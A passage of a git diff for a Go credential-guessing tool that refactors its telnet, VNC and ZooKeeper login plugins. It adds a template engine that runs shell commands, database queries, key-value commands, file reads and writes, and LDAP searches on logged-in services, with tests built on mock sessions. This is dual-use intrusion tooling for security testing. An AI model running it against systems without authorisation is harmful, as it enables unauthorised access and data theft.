nil { - return nil, err - } - //slog.Println(slog.DEBUG, buf[:n], "-<<<<<<<<") - return buf[:n], nil -} - -func (c *Client) write(buf []byte) error { - //slog.Println(slog.DEBUG, ">>>>>>>>>-", buf) - _ = c.conn.SetWriteDeadline(time.Now().Add(time.Second * 3)) - _, err := c.conn.Write(buf) - if err != nil { - return err - } - return nil -} - -func (c *Client) Login() error { - switch c.ServerType { - case Closed: - return errors.New("service is disabled") - case UnauthorizedAccess: - return nil - case OnlyPassword: - return c.loginForOnlyPassword() - case UsernameAndPassword: - return c.loginForUsernameAndPassword() - } - return errors.New("unknown server type") -} - -func (c *Client) makeServerType() int { - responseString := c.readContext() - response := strings.Split(responseString, "\n") - lastLine := response[len(response)-1] - lastLine = strings.ToLower(lastLine) - if strings.Contains(lastLine, "user") || strings.Contains(lastLine, "name") || strings.Contains(lastLine, "login") || strings.Contains(lastLine, "account") || strings.Contains(lastLine, "用户名") || strings.Contains(lastLine, "登录") { - //slog.Printf(slog.INFO, "%v:%v,telnet mode is : usernameAndPassword ,response is :%v", c.IPAddr, c.Port, lastLine) - return UsernameAndPassword - } - if strings.Contains(lastLine, "pass") { - //slog.Printf(slog.INFO, "%v:%v,telnet mode is : onlyPassword ,response is :%v", c.IPAddr, c.Port, lastLine) - return OnlyPassword - } - if regexp.MustCompile(`^/ #.*`).MatchString(lastLine) { - return UnauthorizedAccess - } - if regexp.MustCompile(`^<[A-Za-z0-9_]+>`).MatchString(lastLine) { - return UnauthorizedAccess - } - if regexp.MustCompile(`^#`).MatchString(lastLine) { - return UnauthorizedAccess - } - - if c.isLoginSucceed(responseString) { - return UnauthorizedAccess - } - - //slog.Printf(slog.WARN, "%v:%v,telnet mode is : unknown ,response is :%v", c.IPAddr, c.Port, lastLine) - return Closed -} - -func (c *Client) loginForOnlyPassword() error { - c.Clear() - //清空一次输出 - c.writeContext(c.Password) - time.Sleep(time.Second * 3) - - responseString := c.readContext() - if c.isLoginFailed(responseString) { - c.close() - return errors.New("login failed") - } - - if c.isLoginSucceed(responseString) { - return nil - } - - //slog.Println(slog.WARN, c.IPAddr, c.Port, "|", responseString) - c.close() - return errors.New("login failed") - -} - -func (c *Client) loginForUsernameAndPassword() error { - c.writeContext(c.UserName) - time.Sleep(time.Second * 2) - c.Clear() //清空一次输出 - c.writeContext(c.Password) - time.Sleep(time.Second * 2) - - responseString := c.readContext() - if c.isLoginFailed(responseString) { - c.close() - return errors.New("login failed") - } - if c.isLoginSucceed(responseString) { - return nil - } - //slog.Println(slog.WARN, c.IPAddr, c.Port, "|", responseString) - c.close() - return errors.New("login failed") -} - -func (c *Client) Clear() { - c.LastResponse = "" -} - -var loginFailedString = []string{ - "wrong", - "invalid", - "fail", - "incorrect", - "error", -} - -func (c *Client) isLoginFailed(responseString string) bool { - responseString = strings.ToLower(responseString) - if responseString == "" { - return true - } - for _, str := range loginFailedString { - if strings.Contains(responseString, str) { - return true - } - } - if regexp.MustCompile("(?is).*pass(word)?:$").MatchString(responseString) { - return true - } - if regexp.MustCompile("(?is).*user(name)?:$").MatchString(responseString) { - return true - } - if regexp.MustCompile("(?is).*login:$").MatchString(responseString) { - return true - } - return false -} - -func (c *Client) isLoginSucceed(responseString string) bool { - responseStringArray := strings.Split(responseString, "\n") - lastLine := responseStringArray[len(responseStringArray)-1] - if regexp.MustCompile("^[#$].*").MatchString(lastLine) { - return true - } - if regexp.MustCompile("^<[a-zA-Z0-9_]+>.*").MatchString(lastLine) { - return true - } - if regexp.MustCompile("(?:s)last login").MatchString(responseString) { - return true - } - if regexp.MustCompile("Microsoft Telnet Server").MatchString(responseString) { - return true - } - c.Clear() - c.writeContext("?") - time.Sleep(time.Second * 3) - responseString = c.readContext() - if strings.Count(responseString, "\n") > 6 { - //slog.Println(slog.WARN, "3|", c.IPAddr, c.Port, responseString) - return true - } - if len([]rune(responseString)) > 100 { - //slog.Println(slog.WARN, "4|", c.IPAddr, c.Port, responseString) - return true - } - return false -} diff --git a/plugin/telnet/telnet.go b/plugin/telnet/telnet.go deleted file mode 100644 index 72360a4..0000000 --- a/plugin/telnet/telnet.go +++ /dev/null @@ -1,48 +0,0 @@ -package telnet - -import ( - "github.com/chainreactors/zombie/pkg" -) - -type TelnetPlugin struct { - *pkg.Task -} - -func (s *TelnetPlugin) Unauth() (bool, error) { - c, err := NewClient(s.Address(), "", "", s.Duration()) - if err != nil { - return false, err - } - err = c.Login() - if err != nil { - return false, err - } - return true, nil -} - -func (s *TelnetPlugin) Login() error { - c, err := NewClient(s.Address(), s.Username, s.Password, s.Duration()) - if err != nil { - return err - } - err = c.Login() - if err != nil { - return err - } - - return nil - -} - -func (s *TelnetPlugin) Close() error { - return nil -} - -func (s *TelnetPlugin) Name() string { - return s.Service -} - -func (s *TelnetPlugin) GetResult() *pkg.Result { - // todo list dbs - return &pkg.Result{Task: s.Task, OK: true} -} diff --git a/plugin/vnc/vnc.go b/plugin/vnc/vnc.go index c313a74..dcd410b 100644 --- a/plugin/vnc/vnc.go +++ b/plugin/vnc/vnc.go @@ -6,74 +6,46 @@ import ( "time" ) -type VNCPlugin struct { - *pkg.Task - conn *vnc.ClientConn - Input string +// vncSession implements pkg.Session over an authenticated VNC connection. +type vncSession struct { + service string + conn *vnc.ClientConn } -func (s *VNCPlugin) Unauth() (bool, error) { - target := s.Address() +func (s *vncSession) Service() string { return s.service } - tcpconn, err := s.DialTimeout("tcp", target, time.Duration(s.Timeout)*time.Second) - if err != nil { - return false, err +func (s *vncSession) Close() error { + if s.conn != nil { + return s.conn.Close() } + return nil +} - config := vnc.ClientConfig{ - Auth: []vnc.ClientAuth{ - &vnc.PasswordAuth{Password: ""}, - }, - } - conn, err := vnc.Client(tcpconn, &config) - if err != nil { - return false, err - } - s.conn = conn - return true, nil +// VNCPlugin is stateless; all connection state lives in vncSession. +type VNCPlugin struct{} + +func (p *VNCPlugin) Open(task *pkg.Task) (pkg.Session, error) { + return dial(task, task.Password) } -func (s *VNCPlugin) Login() error { - target := s.Address() +func (p *VNCPlugin) Unauth(task *pkg.Task) (pkg.Session, error) { + return dial(task, "") +} - tcpconn, err := s.DialTimeout("tcp", target, time.Duration(s.Timeout)*time.Second) +func dial(task *pkg.Task, password string) (pkg.Session, error) { + tcpconn, err := task.DialTimeout("tcp", task.Address(), time.Duration(task.Timeout)*time.Second) if err != nil { - return err + return nil, err } config := vnc.ClientConfig{ Auth: []vnc.ClientAuth{ - &vnc.PasswordAuth{Password: s.Password}, + &vnc.PasswordAuth{Password: password}, }, } conn, err := vnc.Client(tcpconn, &config) if err != nil { - return err - } - s.conn = conn - return nil -} - -func (s *VNCPlugin) Close() error { - if s.conn != nil { - return s.conn.Close() + return nil, err } - return nil -} - -//func (s *VNCPlugin) SetQuery(query string) { -// s.Input = query -//} -// -//func (s *VNCPlugin) Output(res interface{}) { -// -//} - -func (s *VNCPlugin) Name() string { - return s.Service -} - -func (s *VNCPlugin) GetResult() *pkg.Result { - // todo list dbs - return &pkg.Result{Task: s.Task, OK: true} + return &vncSession{service: task.Service, conn: conn}, nil } diff --git a/plugin/zookeeper/zookeeper.go b/plugin/zookeeper/zookeeper.go index 14ac0bb..919ac64 100644 --- a/plugin/zookeeper/zookeeper.go +++ b/plugin/zookeeper/zookeeper.go @@ -2,49 +2,84 @@ package zookeeper import ( "fmt" + "strings" + "time" + "github.com/chainreactors/zombie/pkg" "github.com/samuel/go-zookeeper/zk" - "time" ) -type ZookeeperPlugin struct { - *pkg.Task - conn *zk.Conn +type zkSession struct { + service string + conn *zk.Conn } -func (s *ZookeeperPlugin) Name() string { - return s.Service +func (s *zkSession) Service() string { return s.service } + +func (s *zkSession) Close() error { + if s.conn != nil { + s.conn.Close() + } + return nil } -func (s *ZookeeperPlugin) Unauth() (bool, error) { - conn, _, err := zk.Connect([]string{fmt.Sprintf("%s:%s", s.IP, s.Port)}, time.Duration(s.Timeout)*time.Second) - if err != nil { - return false, err +func (s *zkSession) Get(key string) ([]byte, error) { + data, _, err := s.conn.Get(key) + return data, err +} + +func (s *zkSession) Keys(pattern string) ([]string, error) { + path := pattern + if path == "*" || path == "" { + path = "/" } - s.conn = conn - return true, nil + children, _, err := s.conn.Children(path) + return children, err } -func (s *ZookeeperPlugin) Login() error { - conn, _, err := zk.Connect([]string{fmt.Sprintf("%s:%s", s.IP, s.Port)}, time.Duration(s.Timeout)*time.Second) +func (s *zkSession) Command(name string, args ...string) (interface{}, error) { + switch strings.ToUpper(name) { + case "SET": + if len(args) < 2 { + return nil, fmt.Errorf("SET requires path and data") + } + _, err := s.conn.Set(args[0], []byte(args[1]), -1) + return "OK", err + case "CREATE": + if len(args) < 2 { + return nil, fmt.Errorf("CREATE requires path and data") + } + path, err := s.conn.Create(args[0], []byte(args[1]), 0, zk.WorldACL(zk.PermAll)) + return path, err + case "DELETE": + if len(args) < 1 { + return nil, fmt.Errorf("DELETE requires path") + } + return "OK", s.conn.Delete(args[0], -1) + default: + return nil, fmt.Errorf("unsupported zookeeper command: %s", name) + } +} + +type ZookeeperPlugin struct{} + +func (p *ZookeeperPlugin) Open(task *pkg.Task) (pkg.Session, error) { + conn, _, err := zk.Connect([]string{fmt.Sprintf("%s:%s", task.IP, task.Port)}, time.Duration(task.Timeout)*time.Second) if err != nil { - return err + return nil, err } - err = conn.AddAuth("digest", []byte(fmt.Sprintf("%s:%s", s.Username, s.Password))) + err = conn.AddAuth("digest", []byte(fmt.Sprintf("%s:%s", task.Username, task.Password))) if err != nil { - return err + conn.Close() + return nil, err } - s.conn = conn - return nil + return &zkSession{service: task.Service, conn: conn}, nil } -func (s *ZookeeperPlugin) GetResult() *pkg.Result { - return &pkg.Result{Task: s.Task, OK: true} -} - -func (s *ZookeeperPlugin) Close() error { - if s.conn != nil { - s.conn.Close() +func (p *ZookeeperPlugin) Unauth(task *pkg.Task) (pkg.Session, error) { + conn, _, err := zk.Connect([]string{fmt.Sprintf("%s:%s", task.IP, task.Port)}, time.Duration(task.Timeout)*time.Second) + if err != nil { + return nil, err } - return nil + return &zkSession{service: task.Service, conn: conn}, nil } diff --git a/service/execute.go b/service/execute.go new file mode 100644 index 0000000..b6d869e --- /dev/null +++ b/service/execute.go @@ -0,0 +1,430 @@ +package service + +import ( + "fmt" + "strings" + + "github.com/chainreactors/logs" + "github.com/chainreactors/neutron/common" + "github.com/chainreactors/neutron/operators" + "github.com/chainreactors/neutron/protocols" + "github.com/chainreactors/zombie/pkg" +) + +func (r *Request) ExecuteWithResults(input *protocols.ScanContext, dynamicValues, previous map[string]interface{}, callback protocols.OutputEventCallback) error { + sessionRaw, ok := input.Payloads["_session"] + if !ok { + return fmt.Errorf("service protocol: no session in scan context") + } + session, ok := sessionRaw.(pkg.Session) + if !ok { + return fmt.Errorf("service protocol: invalid session type") + } + + if dynamicValues == nil { + dynamicValues = make(map[string]interface{}) + } + + cliVars, _ := input.Payloads["_service_cli_vars"].(map[string]interface{}) + cliPayloads, _ := input.Payloads["_service_cli_payloads"].(map[string]interface{}) + payloadIterator, err := r.payloadIterator(cliVars, cliPayloads) + if err != nil { + return err + } + + runOnce := payloadIterator == nil + for { + var payloadValues map[string]interface{} + if payloadIterator == nil { + if !runOnce { + break + } + runOnce = false + } else { + var hasNext bool + payloadValues, hasNext = payloadIterator.Value() + if !hasNext { + break + } + } + + var allResponses strings.Builder + dslMap := r.responseToDSLMap("", session.Service(), input.Input) + for k, v := range input.GlobalVars { + dslMap[k] = v + } + for k, v := range previous { + dslMap[k] = v + } + for k, v := range dynamicValues { + dslMap[k] = v + } + for k, v := range payloadValues { + dslMap[k] = v + } + + for _, op := range r.Ops { + normalized := normalizeOp(op) + evaluated := evaluateOp(normalized, dslMap) + response, err := executeOp(session, evaluated) + if err != nil { + logs.Log.Debugf("[service] op failed on %s: %v", input.Input, err) + continue + } + + if allResponses.Len() > 0 { + allResponses.WriteString("\n") + } + allResponses.WriteString(response) + + if op.Name != "" { + dslMap[op.Name] = response + } + } + + resp := allResponses.String() + dslMap["response"] = resp + + event := protocols.CreateEvent(r, dslMap) + if event.OperatorsResult == nil { + event.OperatorsResult = &operators.Result{} + } + event.OperatorsResult.Response = resp + if len(payloadValues) > 0 { + event.OperatorsResult.PayloadValues = payloadValues + } + callback(event) + + if r.StopAtFirstMatch && event.OperatorsResult != nil && event.OperatorsResult.Matched { + break + } + } + + return nil +} + +func (r *Request) payloadIterator(varOverrides, payloadOverrides map[string]interface{}) (*protocols.Iterator, error) { + if len(r.Payloads) == 0 && len(payloadOverrides) == 0 { + return nil, nil + } + payloads := make(map[string]interface{}, len(r.Payloads)+len(payloadOverrides)) + for k, v := range r.Payloads { + payloads[k] = v + } + for k, v := range varOverrides { + if _, ok := payloads[k]; ok { + payloads[k] = v + } + } + for k, v := range payloadOverrides { + payloads[k] = v + } + attack := strings.ToLower(r.AttackType) + if attack == "" { + attack = "pitchfork" + } + attackType, ok := protocols.StringToType[attack] + if !ok { + return nil, fmt.Errorf("unsupported attack type %q", r.AttackType) + } + generator, err := protocols.NewGenerator(payloads, attackType) + if err != nil { + return nil, err + } + return generator.NewIterator(), nil +} + +// normalizeOp maps legacy fields to the primary shell/db/kv/file/ldap/audit fields. +func normalizeOp(op *Op) *Op { + if op.Shell != "" || op.DB != "" || op.KV != "" || op.File != nil || op.LDAP != nil { + return op + } + + n := *op + switch { + case n.Exec != "": + n.Shell = n.Exec + case n.Query != "": + n.DB = n.Query + case n.Get != "": + n.KV = "GET " + n.Get + case n.Keys != "": + n.KV = "KEYS " + n.Keys + case n.Cmd != "": + n.KV = n.Cmd + case n.List != "": + n.File = &FileOp{List: n.List} + case n.Read != "": + n.File = &FileOp{Read: n.Read} + case n.Search != nil: + n.LDAP = n.Search + } + return &n +} + +func evaluateOp(op *Op, values map[string]interface{}) *Op { + evaluated := *op + evaluated.Shell = evaluateField(op.Shell, values) + evaluated.DB = evaluateField(op.DB, values) + evaluated.KV = evaluateField(op.KV, values) + if op.File != nil { + f := *op.File + f.List = evaluateField(op.File.List, values) + f.Read = evaluateField(op.File.Read, values) + f.Write = evaluateField(op.File.Write, values) + f.Data = evaluateField(op.File.Data, values) + evaluated.File = &f + } + if op.LDAP != nil { + l := *op.LDAP + l.BaseDN = evaluateField(op.LDAP.BaseDN, values) + l.Filter = evaluateField(op.LDAP.Filter, values) + evaluated.LDAP = &l + } + return &evaluated +} + +func evaluateField(field string, values map[string]interface{}) string { + if field == "" { + return field + } + field = replacePayloadMarkers(field, values) + if strings.Contains(field, "{{") { + result, err := common.Evaluate(field, values) + if err != nil { + return field + } + return result + } + return field +} + +func replacePayloadMarkers(field string, values map[string]interface{}) string { + if !strings.Contains(field, "§") { + return field + } + for k, v := range values { + field = strings.ReplaceAll(field, "§"+k+"§", common.ToString(v)) + } + return field +} + +func executeOp(session pkg.Session, op *Op) (string, error) { + switch { + case op.Shell != "": + return execShell(session, op.Shell) + case op.DB != "": + return execDB(session, op.DB) + case op.KV != "": + return execKV(session, op.KV) + case op.File != nil: + return execFile(session, op.File) + case op.LDAP != nil: + return execLDAP(session, op.LDAP) + default: + return "", fmt.Errorf("no operation specified in op") + } +} + +func execShell(session pkg.Session, cmd string) (string, error) { + sh, ok := session.(pkg.ShellSession) + if !ok { + return "", fmt.Errorf("session does not support shell") + } + out, err := sh.Exec(cmd) + return string(out), err +} + +func execDB(session pkg.Session, query string) (string, error) { + sq, ok := session.(pkg.SQLSession) + if !ok { + return "", fmt.Errorf("session does not support db") + } + rows, err := sq.Query(query) + if err != nil { + return "", err + } + var b strings.Builder + for _, row := range rows { + b.WriteString(strings.Join(row, "\t")) + b.WriteString("\n") + } + return b.String(), nil +} + +func execKV(session pkg.Session, expr string) (string, error) { + kv, ok := session.(pkg.KVSession) + if !ok { + return "", fmt.Errorf("session does not support kv") + } + + parts, err := parseCommandFields(expr) + if err != nil { + return "", err + } + if len(parts) == 0 { + return "", fmt.Errorf("empty kv expression") + } + + verb := strings.ToUpper(parts[0]) + arg := strings.Join(parts[1:], " ") + + switch verb { + case "GET": + val, err := kv.Get(arg) + return string(val), err + case "KEYS": + if arg == "" { + arg = "*" + } + keys, err := kv.Keys(arg) + if err != nil { + return "", err + } + return strings.Join(keys, "\n"), nil + default: + result, err := kv.Command(parts[0], parts[1:]...) + if err != nil { + return "", err + } + return formatCommandResult(result), nil + } +} + +func formatCommandResult(result interface{}) string { + switch v := result.(type) { + case nil: + return "" + case string: + return v + case []byte: + return string(v) + case []string: + return strings.Join(v, "\n") + case []interface{}: + items := make([]string, 0, len(v)) + for _, item := range v { + items = append(items, formatCommandResult(item)) + } + return strings.Join(items, "\n") + default: + return fmt.Sprintf("%v", v) + } +} + +func parseCommandFields(expr string) ([]string, error) { + var fields []string + var b strings.Builder + var quote rune + var escaped bool + var tokenStarted bool + + flush := func() { + if !tokenStarted { + return + } + fields = append(fields, b.String()) + b.Reset() + tokenStarted = false + } + + for _, r := range expr { + if escaped { + switch r { + case 'n': + b.WriteByte('\n') + case 'r': + b.WriteByte('\r') + case 't': + b.WriteByte('\t') + default: + b.WriteRune(r) + } + escaped = false + tokenStarted = true + continue + } + + if quote != 0 { + switch r { + case '\\': + escaped = true + case quote: + quote = 0 + default: + b.WriteRune(r) + } + tokenStarted = true + continue + } + + switch r { + case '\'', '"': + quote = r + tokenStarted = true + case ' ', '\t', '\n', '\r': + flush() + default: + b.WriteRune(r) + tokenStarted = true + } + } + + if escaped { + b.WriteRune('\\') + } + if quote != 0 { + return nil, fmt.Errorf("unterminated quoted string in kv expression") + } + flush() + return fields, nil +} + +func execFile(session pkg.Session, op *FileOp) (string, error) { + fs, ok := session.(pkg.FileSession) + if !ok { + return "", fmt.Errorf("session does not support file") + } + switch { + case op.List != "": + entries, err := fs.List(op.List) + if err != nil { + return "", err + } + return strings.Join(entries, "\n"), nil + case op.Read != "": + data, err := fs.Read(op.Read) + return string(data), err + case op.Write != "": + if err := fs.Write(op.Write, []byte(op.Data)); err != nil { + return "", err + } + return "OK", nil + default: + return "", fmt.Errorf("file op: set list, read, or write") + } +} + +func execLDAP(session pkg.Session, op *LDAPOp) (string, error) { + dir, ok := session.(pkg.DirectorySession) + if !ok { + return "", fmt.Errorf("session does not support ldap") + } + results, err := dir.Search(op.BaseDN, op.Filter, op.Attrs) + if err != nil { + return "", err + } + var b strings.Builder + for _, entry := range results { + for attr, vals := range entry { + for _, v := range vals { + b.WriteString(attr) + b.WriteString(": ") + b.WriteString(v) + b.WriteString("\n") + } + } + b.WriteString("\n") + } + return b.String(), nil +} diff --git a/service/load_test.go b/service/load_test.go new file mode 100644 index 0000000..865eccc --- /dev/null +++ b/service/load_test.go @@ -0,0 +1,145 @@ +package service + +import ( + "os" + "path/filepath" + "strings" + "testing" + + "github.com/chainreactors/neutron/protocols" + "gopkg.in/yaml.v3" +) + +func TestLoadAllTemplates(t *testing.T) { + templatesDir := "../../proton/templates/services" + if _, err := os.Stat(templatesDir); os.IsNotExist(err) { + t.Skipf("templates dir not found: %s", templatesDir) + } + + var total, passed, failed int + filepath.WalkDir(templatesDir, func(path string, d os.DirEntry, err error) error { + if err != nil || d.IsDir() { + return nil + } + if !strings.HasSuffix(path, ".yaml") && !strings.HasSuffix(path, ".yml") { + return nil + } + total++ + + data, err := os.ReadFile(path) + if err != nil { + t.Errorf("read %s: %v", path, err) + failed++ + return nil + } + + var tmpl Template + if err := yaml.Unmarshal(data, &tmpl); err != nil { + t.Errorf("unmarshal %s: %v", path, err) + failed++ + return nil + } + + if tmpl.Id == "" { + t.Errorf("%s: missing id", path) + failed++ + return nil + } + if len(tmpl.Service) == 0 { + t.Errorf("%s: missing service filter", path) + failed++ + return nil + } + if len(tmpl.RequestsService) == 0 { + t.Errorf("%s: no service request blocks", path) + failed++ + return nil + } + + if err := tmpl.Compile(&protocols.ExecuterOptions{Options: &protocols.Options{}}); err != nil { + t.Errorf("%s: compile failed: %v", path, err) + failed++ + return nil + } + + for i, req := range tmpl.RequestsService { + if len(req.Ops) == 0 { + t.Errorf("%s: services[%d] has no ops", path, i) + failed++ + return nil + } + for j, op := range req.Ops { + if !hasAction(op) { + t.Errorf("%s: services[%d].ops[%d] has no action field set", path, i, j) + failed++ + return nil + } + } + } + + passed++ + t.Logf("OK %s (id=%s, service=%v, blocks=%d)", filepath.Base(path), tmpl.Id, tmpl.Service, len(tmpl.RequestsService)) + return nil + }) + + t.Logf("\n--- Summary: %d total, %d passed, %d failed ---", total, passed, failed) + if failed > 0 { + t.Fatalf("%d templates failed validation", failed) + } +} + +func TestLoadLootTemplates(t *testing.T) { + lootDir := "../templates/zombie/loot" + if _, err := os.Stat(lootDir); os.IsNotExist(err) { + t.Skipf("loot templates dir not found: %s", lootDir) + } + + var total, passed int + filepath.WalkDir(lootDir, func(path string, d os.DirEntry, err error) error { + if err != nil || d.IsDir() { + return nil + } + if !strings.HasSuffix(path, ".yaml") && !strings.HasSuffix(path, ".yml") { + return nil + } + total++ + + data, err := os.ReadFile(path) + if err != nil { + t.Errorf("read %s: %v", path, err) + return nil + } + + var raw map[string]interface{} + if err := yaml.Unmarshal(data, &raw); err != nil { + t.Errorf("unmarshal %s: %v", path, err) + return nil + } + if raw["id"] == nil { + t.Errorf("%s: missing id", path) + return nil + } + if raw["file"] == nil { + t.Errorf("%s: missing file section", path) + return nil + } + + passed++ + t.Logf("OK %s (id=%v)", filepath.Base(path), raw["id"]) + return nil + }) + + t.Logf("\n--- Loot templates: %d total, %d passed ---", total, passed) + if total == 0 { + t.Error("no loot templates found") + } +} + +func hasAction(op *Op) bool { + return op.Shell != "" || op.DB != "" || op.KV != "" || + (op.File != nil && (op.File.List != "" || op.File.Read != "")) || + op.LDAP != nil || + op.Exec != "" || op.Query != "" || + op.Get != "" || op.Keys != "" || op.Cmd != "" || + op.List != "" || op.Read != "" || op.Search != nil +} diff --git a/service/operators.go b/service/operators.go new file mode 100644 index 0000000..5025ff6 --- /dev/null +++ b/service/operators.go @@ -0,0 +1,59 @@ +package service + +import ( + "time" + + "github.com/chainreactors/neutron/common" + "github.com/chainreactors/neutron/operators" + "github.com/chainreactors/neutron/protocols" +) + +func (r *Request) getMatchPart(part string, data protocols.InternalEvent) (string, bool) { + switch part { + case "", "body", "all", "data": + part = "response" + } + item, ok := data[part] + if !ok { + return "", false + } + return common.ToString(item), true +} + +func (r *Request) Match(data map[string]interface{}, matcher *operators.Matcher) (bool, []operators.MatchHit) { + return protocols.MakeDefaultMatchFunc(data, matcher, func(part string) (string, bool) { + return r.getMatchPart(part, data) + }) +} + +func (r *Request) Extract(data map[string]interface{}, extractor *operators.Extractor) map[string]struct{} { + return protocols.MakeDefaultExtractFunc(data, extractor, func(part string) (string, bool) { + return r.getMatchPart(part, data) + }) +} + +func (r *Request) responseToDSLMap(response, serviceName, host string) protocols.InternalEvent { + return protocols.InternalEvent{ + "response": response, + "service": serviceName, + "host": host, + "type": "service", + } +} + +func (r *Request) MakeResultEvent(wrapped *protocols.InternalWrappedEvent) []*protocols.ResultEvent { + return protocols.MakeDefaultResultEvent(r, wrapped) +} + +func (r *Request) MakeResultEventItem(wrapped *protocols.InternalWrappedEvent) *protocols.ResultEvent { + return &protocols.ResultEvent{ + TemplateID: common.ToString(wrapped.InternalEvent["template-id"]), + Type: common.ToString(wrapped.InternalEvent["type"]), + Host: common.ToString(wrapped.InternalEvent["host"]), + Matched: common.ToString(wrapped.InternalEvent["matched"]), + ExtractedResults: wrapped.OperatorsResult.OutputExtracts(), + Metadata: wrapped.OperatorsResult.PayloadValues, + Timestamp: time.Now(), + IP: common.ToString(wrapped.InternalEvent["ip"]), + } +} diff --git a/service/service.go b/service/service.go new file mode 100644 index 0000000..7db21a7 --- /dev/null +++ b/service/service.go @@ -0,0 +1,93 @@ +package service + +import ( + "fmt" + + "github.com/chainreactors/neutron/operators" + "github.com/chainreactors/neutron/protocols" +) + +const ServiceProtocol protocols.ProtocolType = 6 + +var _ protocols.Request = &Request{} + +// Request implements protocols.Request for the service protocol. +type Request struct { + operators.Operators `json:",inline" yaml:",inline"` + + ID string `json:"id,omitempty" yaml:"id,omitempty"` + Ops []*Op `json:"ops" yaml:"ops"` + + AttackType string `json:"attack,omitempty" yaml:"attack,omitempty"` + Payloads map[string]interface{} `json:"payloads,omitempty" yaml:"payloads,omitempty"` + + StopAtFirstMatch bool `json:"stop-at-first-match,omitempty" yaml:"stop-at-first-match,omitempty"` + + CompiledOperators *operators.Operators `json:"-" yaml:"-"` + options *protocols.ExecuterOptions `json:"-" yaml:"-"` +} + +// Op is a single operation against a session. +// Each Op sets exactly one session-type field — the type is inferred from which field is non-empty. +type Op struct { + Shell string `json:"shell,omitempty" yaml:"shell,omitempty"` // ShellSession: command to execute + DB string `json:"db,omitempty" yaml:"db,omitempty"` // SQLSession: SQL query to execute + KV string `json:"kv,omitempty" yaml:"kv,omitempty"` // KVSession: command expression (GET key / KEYS * / CONFIG SET ...) + File *FileOp `json:"file,omitempty" yaml:"file,omitempty"` // FileSession: list or read + LDAP *LDAPOp `json:"ldap,omitempty" yaml:"ldap,omitempty"` // DirectorySession: search + + Name string `json:"name,omitempty" yaml:"name,omitempty"` + + // Legacy aliases kept so existing service templates continue to load. + Exec string `json:"exec,omitempty" yaml:"exec,omitempty"` + Query string `json:"query,omitempty" yaml:"query,omitempty"` + Get string `json:"get,omitempty" yaml:"get,omitempty"` + Keys string `json:"keys,omitempty" yaml:"keys,omitempty"` + Cmd string `json:"cmd,omitempty" yaml:"cmd,omitempty"` + List string `json:"list,omitempty" yaml:"list,omitempty"` + Read string `json:"read,omitempty" yaml:"read,omitempty"` + Search *LDAPOp `json:"search,omitempty" yaml:"search,omitempty"` +} + +// FileOp specifies a file session operation. Set exactly one field. +type FileOp struct { + List string `json:"list,omitempty" yaml:"list,omitempty"` + Read string `json:"read,omitempty" yaml:"read,omitempty"` + Write string `json:"write,omitempty" yaml:"write,omitempty"` + Data string `json:"data,omitempty" yaml:"data,omitempty"` +} + +// LDAPOp specifies an LDAP search operation. +type LDAPOp struct { + BaseDN string `json:"base-dn" yaml:"base-dn"` + Filter string `json:"filter" yaml:"filter"` + Attrs []string `json:"attrs,omitempty" yaml:"attrs,omitempty"` +} + +func (r *Request) Type() protocols.ProtocolType { + return ServiceProtocol +} + +func (r *Request) GetID() string { + return r.ID +} + +func (r *Request) Requests() int { + return len(r.Ops) +} + +func (r *Request) GetCompiledOperators() []*operators.Operators { + return []*operators.Operators{r.CompiledOperators} +} + +func (r *Request) Compile(options *protocols.ExecuterOptions) error { + r.options = options + if len(r.Matchers) > 0 || len(r.Extractors) > 0 { + compiled := &r.Operators + if err := compiled.Compile(); err != nil { + return fmt.Errorf("could not compile operators: %w", err) + } + r.CompiledOperators = compiled + } + return nil +} diff --git a/service/service_test.go b/service/service_test.go new file mode 100644 index 0000000..0665180 --- /dev/null +++ b/service/service_test.go @@ -0,0 +1,776 @@ +package service + +import ( + "testing" + + "github.com/chainreactors/neutron/operators" + "github.com/chainreactors/neutron/protocols" + "gopkg.in/yaml.v3" +) + +// mockShellSession implements pkg.Session + pkg.ShellSession +type mockShellSession struct { + svc string + outputs map[string]string +} + +func (m *mockShellSession) Service() string { return m.svc } +func (m *mockShellSession) Close() error { return nil } +func (m *mockShellSession) Exec(cmd string) ([]byte, error) { + if out, ok := m.outputs[cmd]; ok { + return []byte(out), nil + } + return []byte(""), nil +} + +// mockKVSession implements pkg.Session + pkg.KVSession + RawCommander +type mockKVSession struct { + svc string + data map[string]string + cmds map[string]string + calls []string +} + +func (m *mockKVSession) Service() string { return m.svc } +func (m *mockKVSession) Close() error { return nil } +func (m *mockKVSession) Get(key string) ([]byte, error) { + return []byte(m.data[key]), nil +} +func (m *mockKVSession) Keys(pattern string) ([]string, error) { + var keys []string + for k := range m.data { + keys = append(keys, k) + } + return keys, nil +} +func (m *mockKVSession) Command(name string, args ...string) (interface{}, error) { + key := name + for _, a := range args { + key += " " + a + } + m.calls = append(m.calls, key) + if out, ok := m.cmds[key]; ok { + return out, nil + } + return "OK", nil +} + +func TestRequestCompile(t *testing.T) { + yamlData := ` +ops: + - shell: "id" + name: whoami +matchers: + - type: word + part: whoami + words: ["root"] +extractors: + - type: regex + name: user + part: whoami + regex: ['uid=\d+\((\w+)\)'] + group: 1 +` + var req Request + if err := yaml.Unmarshal([]byte(yamlData), &req); err != nil { + t.Fatalf("unmarshal: %v", err) + } + if err := req.Compile(&protocols.ExecuterOptions{Options: &protocols.Options{}}); err != nil { + t.Fatalf("compile: %v", err) + } + if len(req.Ops) != 1 { + t.Fatalf("expected 1 op, got %d", len(req.Ops)) + } + if req.Ops[0].Shell != "id" { + t.Fatalf("expected shell='id', got %q", req.Ops[0].Shell) + } + if req.CompiledOperators == nil { + t.Fatal("expected compiled operators") + } +} + +func TestExecuteShell(t *testing.T) { + session := &mockShellSession{ + svc: "ssh", + outputs: map[string]string{ + "id": "uid=0(root) gid=0(root)", + "uname -a": "Linux box 5.15.0 x86_64", + }, + } + + yamlData := ` +ops: + - shell: "id" + name: whoami + - shell: "uname -a" + name: uname +matchers: + - type: word + part: whoami + words: ["root"] +extractors: + - type: regex + name: user + part: whoami + regex: ['uid=\d+\((\w+)\)'] + group: 1 +` + var req Request + if err := yaml.Unmarshal([]byte(yamlData), &req); err != nil { + t.Fatalf("unmarshal: %v", err) + } + if err := req.Compile(&protocols.ExecuterOptions{Options: &protocols.Options{}}); err != nil { + t.Fatalf("compile: %v", err) + } + + payloads := map[string]interface{}{"_session": session} + scanCtx := protocols.NewScanContext("10.0.0.1:22", payloads) + + var result *operators.Result + err := req.ExecuteWithResults(scanCtx, nil, nil, func(event *protocols.InternalWrappedEvent) { + if event.OperatorsResult != nil { + result = event.OperatorsResult + } + }) + if err != nil { + 